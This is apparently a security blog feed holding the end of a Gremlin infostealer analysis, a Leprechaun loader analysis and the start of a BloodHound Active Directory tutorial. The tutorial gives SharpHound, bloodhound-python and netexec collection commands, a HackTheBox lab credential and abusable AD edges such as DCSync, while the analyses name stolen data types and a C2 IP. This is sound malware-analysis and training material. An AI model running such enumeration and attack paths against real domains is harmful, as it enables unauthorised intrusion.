&lt;p&gt;&lt;img src=&quot;./images/gremlin/s9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We will not be looking at each and every one of them as working of each cryptostealer function in this malware is similar i.e. to check the registry key for the wallet and then find the dat file of the wallet which contains the private keys, copies them to the malware controlled directory. Here we will take a look at the function for Litecoin stealer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This whole function is wrapped in try-catch block which allows it to swallow up failed attempts silently. The function first attempts to access the subkey &lt;code&gt;HKCU\Software\Litecoin\Litecoin-Qt&lt;/code&gt;. It then copies the &lt;code&gt;wallet.dat&lt;/code&gt; file from it&apos;s original path to the malware controlled path to be processed further for exfiltration.&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;VPN Services&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;This malware also supports various VPNs and it fetches their credentials and exfiltrates it. Here is a list of all the VPNs supported by this stealer.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s11.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Here we will analyze one of the function for protonvpn.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s12.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It fetches the &lt;code&gt;user.config&lt;/code&gt; file in the protonvpn installation directory and copies it to the malware controlled directory for further processing.&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;Browsers&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;It is very common for infostealers to fetch for saved passwords and cookies from various browsers installed on the system and save them into a file to be exfiltrated later. Here we will take a look at the function responsible for fetching passwords and cookies from Chromium and Gecko based browsers.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s13.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s14.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Within the PathsCV20 we find function we find a list of browsers that the malware supports along with their default path where the malware fetches them.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This malware also employs a common technique used by modern infostealers for bypassing the Chrome browsers cookie v20 protection.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h5&gt;&lt;strong&gt;Steam, Discord &amp;amp; Telegram&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;The &lt;strong&gt;discord&lt;/strong&gt; function looks for token in browser sessions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s15.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;steam&lt;/strong&gt; stealer function first determines the install location, then enumerates user accounts on the target system, finds the token within &lt;code&gt;config.vdf&lt;/code&gt; file and extract that, write it to a file and finally copies the login.vdf file to the malware controlled directory.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s16.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s17.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s18.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This malware can also steal data from &lt;strong&gt;telegram’s&lt;/strong&gt; active session.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s19.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;Clipboard Data&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;The malware continuously scans the clipboard for contents and sends them over to the web server.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s20.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s21.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s22.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;System Information&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;This malware also steals all the system information. The following function shows us what system information is gathered.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s23.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;This stealer also has the ability to take screenshot.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s24.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;FTP Credentials&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;FTP applications such as Total Commander and File Zilla are also supported by this stealer. It gathers data such as Hostname, Port Number, Username and Password and send it to the web server.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s25.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;Credit Card Information&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;The malware fetches credit card information such as Name, Number, Expiry Year/Month from browsers.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s26.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s27.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;&lt;strong&gt;Data Exfiltration&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;Gremlin stages all gathered data, archived into a zip file in a malware controlled directory and then exfiltrated either to the web server at &lt;code&gt;207[.]244[.]199[.]46&lt;/code&gt; and sends a message via telegram.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s28.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s29.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s30.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Final Words&lt;/h2&gt;
&lt;p&gt;This was my very basic analysis of the gremlin infostealer. Static analysis of &lt;strong&gt;Gremlin Stealer&lt;/strong&gt; (C#) shows a modular infostealer that harvests browser creds/cookies, crypto wallets, VPN/FTP creds, Discord/Steam/Telegram tokens, clipboard data, screenshots and system info, then stages and exfiltrates to a remote server with Telegram reporting. Further steps would be to — run dynamic analysis (sandbox + network capture, process tracing) to confirm runtime behavior; mitigate with endpoint detection, browser hardening, and credential rotation.&lt;/p&gt;
</content:encoded></item><item><title>Taking a look at the Leprechaun Loader</title><link>https://snipevx.github.io/posts/leprechaun-analysis/</link><guid isPermaLink="true">https://snipevx.github.io/posts/leprechaun-analysis/</guid><description>Diving into leprechaun loader, performing static and dynamic analysis of the malware.</description><pubDate>Mon, 20 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;I recently completed the Practical Malware Analysis &amp;amp; Triage course from TCM Security, Big kudos to Matt Kiely (Husky Hacks) for putting together such an awesome course. So after completing PMAT I was looking out for some malware to analyze and I stumbled upon this LeprechaunHvnc loader. Doing further research I found that it was initially discovered by a researcher &lt;a href=&quot;https://x.com/naumovax&quot;&gt;Kseniia N&lt;/a&gt; and their teammate &lt;a href=&quot;https://x.com/t0nynot&quot;&gt;Tony&lt;/a&gt; in April 2024 and they posted about it &lt;a href=&quot;https://x.com/naumovax/status/1775185431237206209&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h4&gt;What is a Loader ?&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;A loader is a malware that fetches, decrypts, or loads another payload (often from a remote server) into memory for execution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;Difference between a loader and a dropper&lt;/h4&gt;
&lt;blockquote&gt;
&lt;p&gt;A dropper delivers and installs a built-in payload, while a loader retrieves or loads a payload from elsewhere for execution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Metadata&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;SHA256:&lt;/strong&gt; &lt;code&gt;1d0753beaabc660960bb5297f43eae38128647c2a23b02b2550646d58aff8797&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Sample Link: &lt;a href=&quot;https://bazaar.abuse.ch/sample/1d0753beaabc660960bb5297f43eae38128647c2a23b02b2550646d58aff8797#&quot;&gt;bazaar.abuse.ch&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;In this blog we will be going over the analysis of the leprechaun loader. First we perform static analysis using IDA to understand the working of the loader, then we will use wireshark to see the working of the loader by inspecting the http web traffic it generates when it tries to reach out to the C2 server and finally verify that it creates a registry key (as we will see in the static analysis) using registry editor. And the leprechaun name is taken from an Irish Legendary Creature.&lt;/p&gt;
&lt;h2&gt;Static Analysis&lt;/h2&gt;
&lt;h3&gt;Inspecting in PE Studio&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://www.winitor.com/download&quot;&gt;PE Studio&lt;/a&gt; is a static analysis tool for Windows executables, primarily used in malware analysis, reverse engineering, and software inspection.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;File properties&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looking at the strings in PE studio we find some important indicators that this malware is an loader and part of a c2.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Additionally we look at the libraries being used in the loader. Pretty generic stuff - &lt;code&gt;WININET&lt;/code&gt; for creating connections between the compromised machine and the c2 server.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Analyzing using IDA&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://hex-rays.com/ida-free&quot;&gt;IDA&lt;/a&gt; (short for Interactive DisAssembler) created by Hex Rays, is one of the most powerful and widely used disassemblers and reverse engineering tools in the cybersecurity and software analysis world.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s5.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We have a few functions and a huge graph starting from the start function.&lt;/p&gt;
&lt;p&gt;Looking through the graph view, initially we find use of Urlmon.dll file, going a little further we find the address of the c2 server being used.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s6.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looking further we find that there are 2 operations being performed depending on the condition whether the implant is installed or not.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s7.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Before that we see a function called &lt;code&gt;sub_401640&lt;/code&gt; that simply checks whether the subkey &lt;code&gt;Software\\LeprechaunHvnc&lt;/code&gt; is present in the location &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt;, basically it checks if the implant is present on the target.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s8.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Function 1 - &lt;code&gt;sub_4012A0&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;The first thing we find is, the malware is utilising the &lt;code&gt;GetUserName&lt;/code&gt; function to check the current user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s9.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next we see that another function &lt;code&gt;sub_401680&lt;/code&gt; is called, opening this function we find that it is being used to determine the os version.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s10.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s11.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After the user and the windows version are enumerated the string length function is used to store the value of both in variable v6 (for user) and the windows version string length is added to the v6 variable value and stored in v7. And the last v8 variable stores the string length of the value returned from the &lt;code&gt;GetUserNameW&lt;/code&gt; function we saw initially and adds it us with the value of variable v7 along with some more space.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s12.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The next part of the function establishes a connection with the c2 and downloads the implant using the HttpOpenRequestW API function and sends a GET request.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s13.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Moving on to the next part of the function, it creates a registry key named &lt;code&gt;Software\LeprechaunHvnc&lt;/code&gt; and sets value named “ID” in that key.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s14.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The last part of the current function checks if the value of the lpString2 is &quot;User&quot; (which is determined from the initial checks this function performs). If the value is user, then the loader generates a directory named &lt;code&gt;WindowsecurityUpdates&lt;/code&gt; under the documents directory and copies the downloaded implant to the created directory within documents directory. It also creates a registry subkey named &lt;code&gt;windowsupdates&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s15.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Function 2 - &lt;code&gt;sub_4011F0&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;Now we will take a look at the other function which is called when the registry key for the Leprechaun exists. This function checks if the value &lt;strong&gt;ID&lt;/strong&gt; is present inside the registry key &lt;code&gt;Software\\LeprechaunHvnc&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s16.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now moving back to the main (start) function going further from the registry key check functions we find that it is using the Internet API and sending a GET request to the c2 server which is the value stored inside the v11 variable.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s17.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Moving further we find a function &lt;code&gt;sub_4019D0&lt;/code&gt; being called that downloads something from the c2 server.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s18.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next we see the functionality of the malware which is responsible for fetching tasks from the c2 operator, replying with task status and performing certain tasks.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s19.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;One part of function checks the activity status of the loader, whe it is started or stopped.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s20.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looking at the last part of the loader we see that it creates a temporary directory called temp and prepares it to download a file from the specified URL and send the confirmation back to the c2 operator.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s21.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And the work of the loader is finished here after downloading the implant onto the target system.&lt;/p&gt;
&lt;h2&gt;Dynamic Analysis&lt;/h2&gt;
&lt;p&gt;If you are following along, make sure you take snapshot of the VM you are using for the analysis before executing the malware so that it can be restored after the analysis is completed.&lt;/p&gt;
&lt;h3&gt;Checking the HTTP traffic using Wireshark&lt;/h3&gt;
&lt;p&gt;We start up wireshark, make sure its listening on our network card and execute the leprechaun.exe file.&lt;/p&gt;
&lt;p&gt;Filtering for http traffic in wireshark we find that the loader tries to send the os version and user details to the c2 operator and then further tries to receive commands but the c2 is shut down, so it keeps trying to reach out to the c2 continuously.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s22.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Checking the registry records&lt;/h3&gt;
&lt;p&gt;Furthermore we check the registry editor and find that a registry key is created with the name LeprechaunHvnc with a value ID as we saw in our analysis using IDA above.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/leprechaun/s23.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Final Words&lt;/h2&gt;
&lt;p&gt;This was my first ever analysis of a malware so I probably would have missed some things but it was a good experience dissecting this loader and looking at the internal workings of how it operates, establishing a foothold on the system, using registry key to verify the presence of the implant, enumerating user privileges and windows version, downloading the implant from the c2 server and performing certain tasks as commanded by the c2 operator. I might release some more malware analysis blogs in future.&lt;/p&gt;
</content:encoded></item><item><title>Attack Mapping with Bloodhound</title><link>https://snipevx.github.io/posts/attack-mapping-with-bloodhound/</link><guid isPermaLink="true">https://snipevx.github.io/posts/attack-mapping-with-bloodhound/</guid><description>Learn about bloodhound, ingestors, its installation and their usage and mapping attack paths with bloodhound.</description><pubDate>Tue, 08 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What is Bloodhound ?&lt;/h2&gt;
&lt;p&gt;BloodHound, developed by SpecterOps, is a cybersecurity tool designed to analyze and manage identity-based attack paths within Active Directory (AD) and Azure environments. As mentioned on the official website of &lt;a href=&quot;https://specterops.io/bloodhound-community-edition/&quot;&gt;SpecterOps&lt;/a&gt;, BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory, Entra and Azure environment. Attackers can use BloodHound to easily identify highly complex Attack Paths that would otherwise be impossible to identify quickly, and defenders can use BloodHound to identify and eliminate those same Attack Paths. BloodHound helps blue and red teams better understand privileged relationships in an Active Directory, Entra, and Azure environments.
It comes in two versions: the open-source BloodHound Community Edition (CE) and the commercial BloodHound Enterprise (BHE).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Bloodhound CE&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BloodHound CE is a free, open-source tool that utilizes graph theory to uncover hidden relationships and permissions within AD and Entra ID (formerly Azure AD). By mapping these relationships, it helps security professionals identify potential attack paths that adversaries might exploit. Both offensive (red teams) and defensive (blue teams) security practitioners use it to understand and mitigate privilege escalation risks. We will be using Bloodhound CE throughout this blog.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. BloodHound Enterprise&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;BloodHound Enterprise is a commercial SaaS solution that builds upon the capabilities of the Community Edition. It offers continuous monitoring and advanced features to help organizations proactively manage and remediate identity-based attack paths in their hybrid environments.&lt;/p&gt;
&lt;h2&gt;What are Ingestors ?&lt;/h2&gt;
&lt;p&gt;In BloodHound, ingestors (also called data collectors) are tools or scripts used to collect information from an Active Directory (AD) or Azure environment. This information is then ingested into BloodHound for analysis and graph visualization. There are basically 2 types of ingestors for bloodhound community edition: Sharphound and bloodhound-python.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Sharphound&lt;/strong&gt;
SharpHound Community Edition (CE) is the official data collector for BloodHound CE. It is written in C# and uses native Windows API functions and LDAP namespace functions to collect data from domain controllers and domain-joined Windows systems.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. bloodhound-python&lt;/strong&gt;
bloodhound-python is an open-source ingestor tool for BloodHound Community Edition, written entirely in Python. It is used primarily on Linux and macOS systems to gather Active Directory data for BloodHound remotely, especially in scenarios where tools like SharpHound (which is Windows/C#-based) cannot be used.&lt;/p&gt;
&lt;h2&gt;Installing Bloodhound&lt;/h2&gt;
&lt;p&gt;For this blog we will be installing bloodhound community edition. The complete step for installation are provided in the official documentation on the &lt;a href=&quot;https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart&quot;&gt;SpecterOps&lt;/a&gt; website. We will be installing it on Kali 2025.2 and it requires docker and docker-compose to work (&lt;a href=&quot;https://www.kali.org/docs/containers/installing-docker-on-kali/&quot;&gt;Official Installation Guide&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Docker &amp;amp; Docker-Compose can be installed on kali by following the following steps:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Installing Docker
sudo apt update
sudo apt install -y docker.io
sudo systemctl enable docker --now
docker
sudo usermod -aG docker $USER

# Installing Docker-Compose
sudo apt-get install docker-compose
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Reboot your system for docker daemon and other services to start.&lt;/p&gt;
&lt;p&gt;Installing Bloohound CE:
Following the steps in the official &lt;a href=&quot;https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart&quot;&gt;documentation&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir bloodhound &amp;amp;&amp;amp; cd bloodhound

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz

tar -xvzf bloodhound-cli-linux-amd64.tar.gz

./bloodhound-cli install
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Bloodhound can be updated using the &lt;code&gt;./bloodhound-cli update&lt;/code&gt; command.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./images/bloodhound/s1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now visit http://localhost:8080 in browser to access the bloodhound interface. Enter &quot;admin&quot; in email address field and the password provided in the terminal towards the end of the bloodhound-cli script output.
It will ask to reset the password, enter any password and Login.&lt;/p&gt;
&lt;h2&gt;Installing the Ingestors&lt;/h2&gt;
&lt;p&gt;We need to download two ingestors for bloodhound: Sharphound and bloodhound-python&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Installing Sharphound&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Compatible version of sharphound can be downloaded from the bloodhound UI &amp;gt; Download Collectors.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/bloodhound/s2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Save it and extract it, you will find an executable file and powershell script file. Sharphound is used when you have the ability to execute commands on the target system such as winrm access or similar type of access as sharphound needs to be uploaded on the target system then it collects the data from the Active Directory environment.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. bloodhound-python&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;bloodhound-python CE can be downloaded from the official github &lt;a href=&quot;https://github.com/dirkjanm/BloodHound.py&quot;&gt;repository&lt;/a&gt;. As instructed in the installation process on the github repo we install bloodhound-python ce by:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install bloodhound-ce
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And it can be accessed by running &lt;code&gt;bloodhound-ce-python&lt;/code&gt; in the terminal.&lt;/p&gt;
&lt;h2&gt;Setting up bash alias for easy access&lt;/h2&gt;
&lt;p&gt;Now, it&apos;s hectic to run bloodhound by always going into the installation directory and running docker-compose to start bloodhound. So we will create bash aliases for starting, stopping bloodhound and one for bloodhound-python so that we don&apos;t have to type bloodhound-ce-python every time and since bloodhound-python (legacy version) is installed by default in kali, we dont want to uninstall it and break any packages so let&apos;s just override it by creating a bash alias. Add the following in your &lt;code&gt;~/.zshrc&lt;/code&gt; or &lt;code&gt;~/.bashrc&lt;/code&gt; file:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;alias bloodhound=&quot;docker compose -f /home/kali/.config/bloodhound/docker-compose.yml up -d&quot;

alias bloodhound-stop=&quot;docker compose -f /home/kali/.config/bloodhound/docker-compose.yml stop&quot;

alias bloodhound-python=&quot;bloodhound-ce-python&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;bloodhound : starts bloodhound&lt;/li&gt;
&lt;li&gt;bloodhound-stop : stop bloodhound&lt;/li&gt;
&lt;li&gt;bloodhound-python : run bloodhound-python CE&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Collecting data using Ingestors&lt;/h2&gt;
&lt;p&gt;There are various ways to collect data for bloodhound using the ingestors sharphound and bloodhound-python:&lt;/p&gt;
&lt;h4&gt;Using Sharphound&lt;/h4&gt;
&lt;p&gt;The first step of using sharphound to collect data is uploading it to the target system. There are various ways to do this, using a python http web server or upload it directly if you&apos;re using evil-winrm. Once it&apos;s uploaded use the following command to collect data:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.\SharpHound.exe -c All -d &amp;lt;domain&amp;gt; --zipfilename loot.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same can be done with the powershell script if the &lt;code&gt;.exe&lt;/code&gt; does not work, upload the SharpHound.ps1 file to the target system and run it by running the following commands:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Import the script
. .\SharpHound.ps1

Invoke-Bloodhound -c All -d &amp;lt;domain&amp;gt; --zipfilename loot.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Using bloodhound-python&lt;/h4&gt;
&lt;p&gt;bloodhound-python can be used when we dont have remote access to the target system and its not possible to upload the sharphound binary onto the system. Or when we have an initial credential provided (in case of an assumed breach scenario) its generally good practice to run bloodhound-python first:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-python -u &quot;&amp;lt;username&amp;gt;&quot; -p &quot;&amp;lt;password&amp;gt;&quot; -d &amp;lt;parent domain&amp;gt; -v --zip -c All -ns &amp;lt;target ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Extra: Using Netexec&lt;/h4&gt;
&lt;p&gt;Netexec can also be used for collecting data for bloodhound.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nxc ldap &amp;lt;ip&amp;gt; -u &amp;lt;user&amp;gt; -p &amp;lt;pass&amp;gt; --bloodhound --collection All --dns-server &amp;lt;target ip&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Common Nodes and Edges Explained&lt;/h2&gt;
&lt;p&gt;Now before we start using bloodhound, its important to understand the common nodes and edges in bloodhound so that you know what and where to look at when mapping attack paths with bloodhound.&lt;/p&gt;
&lt;h4&gt;Common Nodes&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;./images/bloodhound/s3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Complete list of nodes can be found in the official &lt;a href=&quot;https://bloodhound.specterops.io/resources/nodes/overview&quot;&gt;documentation&lt;/a&gt; at SpecterOps.&lt;/p&gt;
&lt;h4&gt;Common Edges&lt;/h4&gt;
&lt;p&gt;Edges are the arrow-like shapes that connect two nodes together, each edge is labeled with something showing the permissions/privileges or other properties that one node has over another. Some of the interesting edges that you might want to look out for are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;GenericAll&lt;/strong&gt; – Grants full control over the object, allowing actions like adding users to a group or resetting a user’s password.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;GenericWrite&lt;/strong&gt; – Allows modification of the object’s attributes, such as changing the logon script.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WriteOwner&lt;/strong&gt; – Lets the attacker change the object’s ownership to a user they control, effectively taking over the object.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WriteDACL&lt;/strong&gt; – Permits editing of the object’s access control list (ACL), enabling the attacker to assign themselves full permissions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AllExtendedRights&lt;/strong&gt; – Includes privileges such as adding users to groups or resetting passwords.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ForceChangePassword&lt;/strong&gt; – Enables password changes for a user account without needing to know the current password.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DCSync&lt;/strong&gt; – Grants the ability to replicate domain controller data, which can be used to extract credentials from the domain.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Complete list of edges can be found in the official &lt;a href=&quot;https://bloodhound.specterops.io/resources/edges/overview&quot;&gt;documentation&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Mapping Attack Paths with Bloodhound&lt;/h2&gt;
&lt;p&gt;For this blog I will be using a retired machine from HackTheBox: &lt;a href=&quot;https://app.hackthebox.com/machines/634&quot;&gt;Administrator&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Collecting Data and Uploading it to Bloodhound&lt;/h4&gt;
&lt;p&gt;This machine has an assumed breach scenario so we are already provided with a credential: &lt;code&gt;Olivia::ichliebedich&lt;/code&gt;. We use the provided credential with bloodhound-python to gather data for bloodhound:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bloodhound-python -u &apos;Olivia&apos; -p &apos;ichliebedich&apos; -c All -d administrator.htb -ns 10.10.11.42 --zip
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now open bloodhound by visiting: http://localhost:8000/ and logging in using &lt;code&gt;admin:&amp;lt;your_password&amp;gt;&lt;/code&gt;. And go to &lt;strong&gt;Administration&lt;/strong&gt; from the side menu and click on upload files and then select the zip file created by bloodhound-python. And wait for a while till the status changes to Complete from Ingesting.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/bloodhound/s4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;The Bloodhound Explorer&lt;/h4&gt;
